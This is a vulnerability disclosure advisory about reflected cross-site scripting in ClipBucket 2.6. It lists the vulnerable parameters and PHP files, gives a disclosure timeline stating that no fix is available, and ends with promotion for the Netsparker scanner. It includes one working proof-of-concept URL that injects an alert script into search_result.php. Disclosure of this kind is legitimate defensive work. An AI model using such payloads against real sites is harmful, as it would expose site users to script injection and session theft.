XSS Vulnerabilities in ClipBucket

Information

Name : XSS Vulnerabilities in ClipBucket
Software : ClipBucket 2.6 and possibly below.
Vendor Homepage : http://clip-bucket.com
Vulnerability Type : Cross-Site Scripting
Severity : Critical
Researcher : Canberk Bolat
Advisory Reference : NS-12-013

Description

ClipBucket is an OpenSource Multimedia Management Script Provided Free
to the Community. This script comes with all the bells & whistles
required to start your own Video Sharing website like Youtube,
Metacafe, Veoh, Hulu or any other top video distribution application
in matter of minutes. ClipBucket is fastest growing script which was
first started as Youtube Clone but now its advance features &
enhancements makes it the most versatile, reliable & scalable media
distribution platform with latest social networking features, while
staying light on your pockets. Whether you are a small fan club or a
big Multi Tier Network operator, Clipbucket will fulfill your video
management needs.

Details

ClipBucket is affected by XSS vulnerabilities in version 2.6

Params: (cat, sort, time, seo_cat_name, cat, sort, time, page, seo_cat_name)
Files: (channels.php, collections.php, groups.php, photos.php, videos.php)
http://example.com/search_result.php?query=3&type='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x005B39)%3C/script%3E&submit=Search

signup.php (POST: username)
You can read the full article about Cross-Site Scripting from here:

Cross-site Scripting (XSS)
Solution

No fix.

Advisory Timeline

05/12/2011 - First Contact
03/01/2012 - Second Contact - No Reply
19/10/2012 - Advisory Released

Credits

It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References

Vendor Url / Patch : -
MSL Advisory Link :
http://www.mavitunasecurity.com/xss-vulnerabilities-in-clipbucket/
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker

Netsparker® can find and report security issues such as SQL Injection
and Cross-site Scripting (XSS) in all web applications regardless of
the platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.

– Netsparker Advisories, <[email protected]> Homepage, http://www.mavitunasecurity.com/netsparker-advisories/